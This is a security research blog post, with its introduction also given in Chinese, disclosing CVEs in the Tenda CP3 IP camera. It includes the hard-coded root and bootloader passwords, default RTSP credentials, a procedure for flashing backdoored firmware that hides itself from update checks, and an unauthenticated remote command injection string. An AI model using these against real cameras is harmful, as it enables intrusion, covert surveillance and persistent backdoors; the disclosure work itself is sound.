Security cameras are ubiquitous in today’s world, with millions of them installed in homes, businesses, and public spaces around the globe. These cameras are meant to provide a sense of security and surveillance, but they can also be a potential security threat if not properly secured.
在当今世界,监控摄像头无处不在,全球各地的家庭、企业和公共场所都安装了数以百万计的摄像头。这些摄像头旨在提供安全感和监控功能,但如果没有妥善保护,它们也可能成为潜在的安全威胁。
Working on my master’s thesis with the support of SECloud (Security Edge and Cloud Lab), and specifically the ACES (Automotive Cyberphysical and Embedded Security) laboratory, I recently had the opportunity to perform a security assessment on an IP Camera to identify any vulnerabilities and potential risks. In this blog post, I will share my experience and insights on this assessment and discuss some of the main findings during my studies.
在 SECloud(安全边缘和云实验室),特别是 ACES(汽车网络物理和嵌入式安全)实验室的支持下,我最近有机会对一台 IP 摄像机进行了安全评估,以识别任何漏洞和潜在风险。在这篇博文中,我将与大家分享我在这次评估中的经验和见解,并讨论我在研究过程中的一些主要发现。
I would like to express my gratitude to SECloud and the ACES laboratory for their support and collaboration throughout my research. For readers who are interested in learning more about the lab and their work, I encourage you to visit their GitHub page. There you will also find a concise and synthetic description of each vulnerability listed in this post, and some additional scripts used during this study.
感谢 SECloud 和 ACES 实验室在我整个研究过程中给予的支持与合作。对于有兴趣了解该实验室及其工作的读者,我建议您访问他们的 GitHub 页面。在那里,您还可以找到本文章中列出的每个漏洞的简明合成描述,以及本研究中使用的一些其他脚本。
A scientific paper discussing this activity is accepted for publication at IWSEC 2024, and is currently available as preprint on arXiv.
讨论这项活动的科学论文已被 IWSEC 2024 会议接受发表,目前可在 arXiv 上查阅预印本。
Through this assessment, I hope to raise awareness about the importance of securing these kinds of devices and provide insights into how these devices can be exploited if not properly secured. Whether you are a security professional, a business owner, or a homeowner, understanding the risks and vulnerabilities associated with security cameras is crucial for ensuring the safety and privacy of yourself and those around you.
通过这次评估,我希望能提高人们对保护这类设备的重要性的认识,并深入了解这些设备如果没有得到妥善保护会如何被利用。无论您是安全专业人员、企业主还是房主,了解与监控摄像头相关的风险和漏洞对于确保您自己和周围人的安全和隐私至关重要。
Without further ado, let’s present the star of the show, here is the “Tenda CP3 IP Camera”:
话不多说,让我们来介绍一下主角--"Tenda CP3 IP 摄像机":
This post will cover the penetration testing activity I performed on this camera, the process is mainly divided into 2 phases:
Information Gathering
Exploit
The first step in every penetration testing activity is to gather as much information as possible about the target. In this specific case, this step is split into two parts:
OSINT: Open Source Intelligence, everything publicly available about the device
Firmware and Filesystem: these will be crucial for phase 2
These are the main resources/tools we can use:
Vendor Website, here it’s sometimes possible to find firmware upgrades, specs, etc…
FCC Report is a good place to look for the device’s internal pictures and technical specs.
Search engines, Google-Fu: improving your search engine skills will always pay you back when you are using something specific. Using search operators can make the task easier when looking for a file type or specific word on a specific website.
In this specific case, the second yields some big findings: looking at the internal pictures of the device we can easily spot two pads labeled TX
and RX
This is probably a serial interface, after soldering two jumper cables to the pads, connecting them to a USB-TTL CP2102
adapter and launching minicom
confirm the hypothesis.
These are the settings used with minicom
:
baud rate: 115200
parity: None
data: 8
stop bits: 1
When turning on the camera we can see the boot log, which gives us a lot of information about the device and its software configuration.
U-Boot 2010.06-dirty (Sep 07 2021 - 16:46:09) DRAM: 64 MiB master [ctl : mem] = [0 : 0] SF: Got idcode 1c 70 17 1c 70 use default flash ops... spi_flash_probe_default multi wire open flag is 0 Net: FH EMAC Press 'E' to stop autoboot: 0 master [ctl : mem] = [0 : 0] SF: Got idcode 1c 70 17 1c 70 use default flash ops... spi_flash_probe_default multi wire open flag is 0 verify flash image OK load kernel 0x00050000(0x002e0000) to 0xa1000000 ## Booting kernel from Legacy Image at a1000000 ... Image Name: Linux-3.0.8 Created: 2021-09-07 8:49:48 UTC Image Type: ARM Linux Kernel Image (uncompressed) Data Size: 2816144 Bytes = 2.7 MiB Load Address: a0008000 Entry Point: a0008000 Verifying Checksum ... OK Loading Kernel Image ... OK OK prepare atags Starting kernel ... Uncompressing Linux... done, booting the kernel. [ 0.000000] Linux version 3.0.8 (zt@fullhan) (gcc version 5.5.0 (b220190606) ) 2021-09-07 16:49:46 [ 0.000000] CPU: ARMv6-compatible processor [410fb767] revision 7 (ARMv7), cr=00c5387d
Before proceeding to phase 2, the last step we need to perform to complete the information-gathering process is to extract the firmware and filesystem of the device. This can be achieved in many ways. For example:
Shell extraction: If we have access to a shell on the device, we can work out a way to use the available commands/programs (which are often limited on embedded devices) to exfiltrate the memory’s partitions.
Vendor’s website: Sometimes on the vendor’s website, it’s possible to find memory images to flash on the device to restore it to factory conditions.
Chip-off: This is the last resort when performing this kind of activity. It involves desoldering the memory chip from the PCB and dumping its content in binary form on our machine for further analysis.
Unfortunately, we have not yet gained a shell on the device, and the vendor does not seem to offer this type of file on their website. For these reasons, we proceed to hook up a specific clip to the memory chip (cFeon Q64 - 8MB SOP8 NOR Flash) and read its content using flashrom
on a Raspberry Pi (more info on the wiring here).
Luckily we don’t need to desolder the entire chip, but only the pad connecting it to VCC, this way when connecting the clip we avoid powering the rest of the circuit which could cause the CPU to “wake up” and interfere with our communication with the memory chip. By doing so we successfully obtain a binary dump of the entire content of the device’s flash memory!
When obtaining the memory dump it is good practice to store it somewhere safe as read-only. You should also compute its
sha256sum
for future reference.
Now it’s time to extract the firmware and filesystem from the binary dump. While booting the device logs a lot of useful information about the flash memory layout:
[ 0.000000] Kernel command line: console=ttyS0,115200 ip=192.168.1.203 mem=43M mtdparts=spi_flash:64k(bootstrap),64k(uboot-env),192k(uboot),3M(kernel),512k(data),-(app)
It seems that the following partitions are present in memory:
bootstrap: 64k
uboot-env: 64k
uboot: 192k
kernel: 3M
data: 512k
app: the rest
With this simple shell script, we can extract each partition:
The default
bs
(block size) parameter of dd is 512 Bytes, for simplicity’s sake in the script we usebs=1k
since most of the sizes we have are in kB (1024 B)
#!/bin/sh - # dd_extractor.sh - Extract partitions from the flash dump # Usage: dd_extractor.sh # from the bootlog: # 64k(bootstrap) # 64k(uboot-env) # 192k(uboot) # 3M(kernel) # 512k(data) # -(app) DUMP_FILE=$1 dd if=$DUMP_FILE of=bootstrap.dd bs=1k count=64 dd if=$DUMP_FILE of=uboot-env.dd bs=1k count=64 skip=64 dd if=$DUMP_FILE of=uboot.dd bs=1k count=192 skip=128 dd if=$DUMP_FILE of=kernel.dd bs=1k count=3072 skip=320 dd if=$DUMP_FILE of=data.dd bs=1k count=512 skip=3392 dd if=$DUMP_FILE of=app.dd bs=1k skip=3904
Now we can run file
on each partition we extracted:
$ file *.dd bootstrap.dd: data uboot-env.dd: data uboot.dd: Spectrum .TAP data "" kernel.dd: u-boot legacy uImage, Linux-3.0.8, Linux/ARM, OS Kernel Image (Not compressed), 2816148 bytes, Thu May 12 07:24:55 2022, Load Address: 0XA0008000, Entry Point: 0XA0008000, Header CRC: 0XE49D9152, Data CRC: 0XCD649D8 data.dd: Linux jffs2 filesystem data little endian app.dd: Squashfs filesystem, little endian, version 4.0, zlib compressed, 4049381 bytes, 124 inodes, blocksize: 131072 bytes, created: Fri Nov 4 05:56:07 2022
Both bootstrap
and uboot-env
do not seem to contain much else but text, we can store their content for further analysis in a txt file:
strings uboot-env.dd bootstrap.dd | sort -u > uboot_and_bootstrap.txt
uboot.dd
probably contains just the uboot bootloader and kernel.dd
a Linux kernel image
data.dd
can be extracted using this tool it does not seem to contain anything too interesting though.
Last, but not least, app.dd
can be extracted using unsquashfs app.dd
, this turns into around 5 MegaBytes of very interesting data.
$ unsquashfs app.dd Parallel unsquashfs: Using 10 processors 114 inodes (131 blocks) to write [=================================================================|] 245/245 100% created 109 files created 10 directories created 5 symlinks created 0 devices created 0 fifos created 0 sockets created 0 hardlinks $ ls squashfs-root abin customize.sh kill_app.sh sd_fs.sh udhcpc.script ap_mode.cfg db_init.sh lib sd_hotplug.sh usb_dev.sh app_check_setting.sh gpio.sh mi.sh sdio_dev.sh userdata app_config.sh hdt_model modules sensor.def wav app_init.sh idump.sh modules.sh shadow wifi_mac.sh app_init_ex.sh iu.sh modules_post.sh start.sh wifi_mode.sh bin iu_s.sh myinfo.sh sysinfo
At this point, we have gathered enough information to proceed to phase 2: Exploit!
This phase, leveraging on the information gathered during the first phase, covers the different exploits performed on the Tenda CP3 IP Camera.
While the exploit phase of a pentest may sound exciting, it’s important not to rush into it. Taking your time during the information gathering phase will not only make the exploit phase more enjoyable but also much easier to perform.
A credentials exposure vulnerability exists in the Shenzen Tenda Technology IP Camera CP3 V11.10.00.2211041355. A physically proximate attacker can obtain the credentials of the WiFi network the device connects to by analyzing the boot log of the UART serial interface.
Using minicom
it is possible to save the captured output to a log file for further analysis. Doing so when the camera is booting up reveals that the network credentials are logged during a normal boot sequence right after connecting to the network:
... [linkkit_client_set_property_handler_json, line:1194] set property handler(0), result: {"WifiConfiguration":{"WifiName":"wifi_network_ssid","WifiPasswd":"wifi_network_password_in_plain_text","Encryption":"WPA-PSK"}} ...
An attacker could steal the camera and monitor its boot log while the wifi network of the victim is in range and gain access to the credentials.
root
AccessHard-coded, weak credentials, stored using weak encryption for user root in Shenzen Tenda Technology IP Camera CP3 V11.10.00.2211041355 allows physically proximate attackers to gain root access to the device via UART
Analyzing the boot log, it is possible to spot a very specific message:
Please press Enter to activate this console.
Surprisingly enough, upon pressing Enter
a login prompt is shown:
(none) login:
Widely used default credentials such as root:password
, root:root
, root:toor
do not work.
Looking into the extracted Squashfs filesystem (the so-called app partition) we see a file named shadow
with the following content:
root:7h2yflPlPVV5.:18545:0:99999:7:::
John the Ripper gives more information about this hash:
$ john shadow Loaded 1 password hash (descrypt, traditional crypt(3) [DES 64/64])
This encryption algorithm can be easily brute-forced, more on that is explained here.
A brute-force attack, either using hashcat
or john
reveals the password to be tdrootfs
Trying to log in as root
with password tdrootfs
over the UART connection works as expected:
(none) login: root Password: April 20 16:40:33 login[14501]: root login on 'ttyS0' BusyBox v1.26.2 (2021-09-07 16:47:55 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. [/app]#
Hard-coded, weak credentials, in Shenzen Tenda Technology IP Camera CP3 V11.10.00.2211041355 allows physically proximate attackers to gain access to the device’s bootloader via UART
After connecting to the UART serial interface, right before the boot process starts, this message is printed:
Press 'E' to stop autoboot
Upon pressing E
as instructed this appears:
### Please input uboot password: ###
Widely used default credentials such as root
, password
, etc. do not work.
Knowing the password for the user root
(tdrootfs
) we can guess the password using a similar pattern: tduboot
gives access to the bootloader’s console.
Issuing the command ?
lists all the available commands.
### Please input uboot password: ### ******* U-Boot> ? ? - alias for 'help' arc_go - start application at address 'addr' base - print or set address offset bootm - boot application image from memory bootp - boot image via network using BOOTP/TFTP protocol chpart - change active partition cmp - memory compare coninfo - print console devices and information cp - memory copy crc32 - checksum calculation echo - echo args to console editenv - edit environment variable fastbootcmd- set boot command fatinfo - print information about filesystem fatload - load binary file from a dos filesystem fatls - list files in a directory (default /) go - start application at address 'addr' gpio - GPIO init setting help - print command description/usage kload - load kernel loop - infinite loop on address range md - memory display mii - MII utility commands mm - memory modify (auto-incrementing address) mmc - MMC sub system mmcinfo - mmcinfo -- display MMC info mtdparts- define flash/nand partitions mtest - simple RAM read/write test mw - memory write (fill) nm - memory modify (constant address) pinctrl - Pin Ctrl ping - send ICMP ECHO_REQUEST to network host printenv- print environment variables reset - Perform RESET of the CPU run - run commands in an environment variable saveenv - save environment variables to persistent storage setenv - set environment variables sf - SPI flash sub-system sleep - delay execution for some time tftpboot- boot image via network using TFTP protocol upgrade - usage:upgrade, set imgname to load version - print monitor version U-Boot>
root
AccessHard-coded, weak credentials, in Shenzen Tenda Technology IP Camera CP3 V11.10.00.2211041355 allows remote attackers to gain root access to the device via telnet
An nmap
scan reveals that telnet
is running on the device and listening on port 23:
# nmap -Pn 192.168.1.86 -p 23 Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-22 12:58 CEST Nmap scan report for 192.168.1.86 Host is up (0.047s latency). PORT STATE SERVICE VERSION 23/tcp open telnet
The hard-coded password for user root
can be easily retrieved as previously explained in this blog post, and is now publicly available. It can be used to log in:
$ telnet 192.168.1.86 23 Trying 192.168.1.86... Connected to 192.168.1.86. Escape character is '^]'. (none) login: root Password: BusyBox v1.26.2 (2021-09-07 16:47:55 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. [/app]# id uid=0(root) gid=0(root) groups=0(root)
Hard-coded, weak credentials, in Shenzen Tenda Technology IP Camera CP3 V11.10.00.2211041355 allows remote attackers to gain access to the RTSP feed of the device
An nmap
scan reveals that RTSP
is running on the device on port 8554:
# nmap -Pn 192.168.1.86 -p 8554 Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-30 12:58 CEST Nmap scan report for 192.168.1.86 Host is up (0.047s latency). PORT STATE SERVICE VERSION 8554/tcp open rtsp
A quick online search reveals the credentials to be admin:admin123456
, and visiting rtsp://admin:admin123456@tenda_cp3_ip_address:8554/profile0
shows the live video feed from the device.
Missing Support for Integrity Check in Shenzen Tenda Technology IP Camera CP3 V11.10.00.2211041355 allows remote attackers to irreversibly update the device with custom firmware
Looking into the extracted Squashfs filesystem (the so-called app partition) reveals the script iu.sh
, with the following usage
method:
usage() { echo "Usage: /home/iu.sh [options]" echo " options:" echo " -f : upgrade /home/image_file" echo " -t : tftp upgrade" echo " -r : tftp server image file" echo " -h : tftp server ip" echo " -u : enable upgrade uboot" echo " -c : just check image file" echo " -a : always upgrade app" echo " -e : force upgrade" echo " -d : upgrade data" echo " -l : upgrade resource" echo " -s : SD upgrade" echo " -k : keep uboot env" }
Simply running this script on the device prompts this message: Not found image file /home/Flash.img
These are the steps needed to trigger a system upgrade:
Run a Python HTTP server in the folder holding flash_dump.bin
: python3 -m http.server
On the camera, retrieve the dump and start a forced upgrade: wget machine_addr:port/flash_dump.bin -O /home/Flash.img && iu.sh -e
The camera will play a notification upon starting and completing the upgrade and log the following:
[/app]# wget 192.168.1.47:8000/dump.bin -O /home/Flash.img && iu.sh -e Connecting to 192.168.1.47:8000 (192.168.1.47:8000) Flash.img 100% |**************************************| 8192k 0:00:00 ETA upgrade begin @@@@@@@@@@ AUDIO_PLAY /home/upgrade_ing.wav [gpio_ao_mute]21 gpio_ao_mute=21 gpio_ao_mute_val=0 audio_play /home/upgrade_ing.wav period[320] volume[30] recur[0] AC version: V1.0.0(gbb0b659) FH_AC_NR_SetConfig[1,1] OK!!! FH_AC_AO_Disable ok FH_AC_Set_Config ok FH_AC_AO_Enable ok FH_AC_AO_SETVOL ok FH_AC_AO_Disable ok udhcpc killed jffs2_gcd_mtd4 killed dev_ctrl killed noodles killed /home/img_up -f /home/Flash.img -F kernel crc src == dst app crc src != dst upgrade flag(0x80000001): |app|(verify)| Veriry unknown upgrade FW: mode="TD-L33DS0802" product_no="28190802" ver="8809201149" ==> mode="TD-L33DS0802" product_no="28190802" ver="2209201149" erase updated image info OK: mtd=kernel, mtd_offset=2f0000 [Total:100%] Program OK: mtd=app, offset=0x3d0000, size=0x430000 Write updated image info OK: mtd=kernel, mtd_offset=2f0000 Upgrade finished, takes 14564 ms upgrade end @@@@@@@@@@ AUDIO_PLAY /home/upgrade_suc.wav [ut_config_load_ex, line:41] ERROR: Open file fail: /app/abin/board.cfg init hw_config err! gpio_ao_mute=21 gpio_ao_mute_val=0 audio_play /home/upgrade_suc.wav period[320] volume[30] recur[0] AC version: V1.0.0(gbb0b659) FH_AC_NR_SetConfig[1,1] OK!!! FH_AC_AO_Disable ok FH_AC_Set_Config ok FH_AC_AO_Enable ok FH_AC_AO_SETVOL ok Burn flash finished, reboot
An attacker could potentially perform a malicious upgrade on a camera by modifying its firmware or filesystem and introducing a backdoor. This can be accomplished by “forcing” the upgrade, which allows the camera to be downgraded to a previous firmware version. To avoid detection, the attacker could edit the sysinfo/fw_ver
file inside the Squashfs filesystem to indicate that the installed version is the latest available, preventing the phone app from proposing any updates even though the installed version is not the latest available.
More in detail:
Extract the app partition and its Squashfs filesystem from the flash dump
Inside sysinfo/fw_ver
edit fw_ver
to a future date, i.e. 9912312359
Compress the Squashfs filesystem: mksquashfs squashfs-root my_app.dd
Copy the original dump to my_dump.bin
and embed the edited app partition within it: dd if=my_app.dd of=my_dump.bin seek=7808 count=8576 conv=notrunc
Randomize the app’s 4 bytes CRC stored in the dump at offset 0x234
: dd if=/dev/urandom of=my_dump.bin bs=1 count=4 seek=564 conv=notrunc
As previously explained, run the Python server, copy the newly created dump to the camera as /home/Flash.img
and launch a forced upgrade with iu.sh -e
The update will be successfully recognized by the device and the app as the latest version.
This attack is particularly dangerous, an attacker could buy cameras, modify them and then return them to the vendor, or gift a modified device to a victim and so on…
Improper Neutralization of Special Elements used in a Command in Shenzen Tenda Technology IP Camera CP3 V11.10.00.2211041355 allows remote attackers to execute arbitrary commands on the device as root
Running netstat
on the device reveals the following:
# netstat -tulpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 1116/inetd tcp 0 0 0.0.0.0:1300 0.0.0.0:* LISTEN 8518/noodles tcp 0 0 0.0.0.0:843 0.0.0.0:* LISTEN 8518/noodles tcp 0 0 0.0.0.0:6688 0.0.0.0:* LISTEN 997/apollo tcp 0 0 0.0.0.0:8554 0.0.0.0:* LISTEN 997/apollo tcp 0 0 0.0.0.0:8699 0.0.0.0:* LISTEN 997/apollo tcp 0 0 0.0.0.0:9876 0.0.0.0:* LISTEN 997/apollo udp 0 0 0.0.0.0:19966 0.0.0.0:* 997/apollo udp 0 0 0.0.0.0:3702 0.0.0.0:* 997/apollo udp 0 0 0.0.0.0:5012 0.0.0.0:* 8518/noodles udp 0 0 0.0.0.0:5683 0.0.0.0:* 997/apollo
apollo
and noodles
are two binaries located inside the Squashfs filesystem within the app partition in the abin
folder. CVE-2023-23080 exploits a vulnerability in noodles
on port 1300, more info on that here
A quick analysis reveals that they are compressed using upx
:
$ grep -a -i upx noodles apollo noodles:$Info: This file is packed with the UPX executable packer http://upx.sf.net noodles:$Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. apollo:$Info: This file is packed with the UPX executable packer http://upx.sf.net apollo:$Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $ upx -d apollo noodles # uncompress the binaries Ultimate Packer for eXecutables Copyright (C) 1996 - 2023 UPX 4.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 30th 2023 File size Ratio Format Name -------------------- ------ ----------- ----------- 5429884 <- 1889696 34.80% linux/arm apollo 150072 <- 67596 45.04% linux/arm noodles -------------------- ------ ----------- ----------- 5579956 <- 1957292 35.08% [ 2 files ] Unpacked 2 files.
apollo
is about 36 times the size of noodles
, making the latter a good first candidate to reverse engineer. After decompressing it, it’s possible to open it using ghidra
.
After a thorough analysis of the code, it’s possible to identify three main entities:
The main
function, listening on port TCP 1300
The policy
thread, listening on port UDP 843
The multicast
thread, listening on port UDP 5012
The main
function has already been exploited in CVE-2023-23080
The policy
thread seems to be simply waiting for the string “policy-file-request” to which it will respond "
this XML-formatted string is used to define a cross-domain policy that allows access to the camera from any domain and port.
The multicast
thread awaits an XML formatted string, similar to the main
function, it is possible to achieve unauthenticated remote code execution with the following string:
camera_ip_here10:20:30:40:50:60touch /tmp/pwn
The IP inside
must match the camera’s IP. The MAC address as well must match the one of the camera, altough testing the same string worked on two different cameras
In conclusion, the main finding for this device are:
For each one of these vulnerabilities a CVE ID has been requested, resulting in the following:
CVE-2023-30351: hard-coded credentials
CVE-2023-30352: RTSP feed access
CVE-2023-30353: Unauthenticated RCE
CVE-2023-30354: Physical access and WiFi credentials disclosure
CVE-2023-30356: Missing support for Integrity Check
It is concerning that many devices marketed as “secure” are found to have serious security vulnerabilities that can be exploited by attackers. The proliferation of these devices, coupled with the fact that many users are not aware of the risks they pose, creates a significant threat to both personal privacy and security.
As a society, we need to rethink the way we trust these types of devices and take a more proactive approach to securing them. This includes demanding more transparency from manufacturers about the security features and risks associated with their products, as well as taking steps to secure devices ourselves by using strong passwords, keeping software up to date, and limiting access to sensitive data.
If you made it this far, I thank you for your attention and hope you learned something reading this article, because I sure did learn a lot while writing it!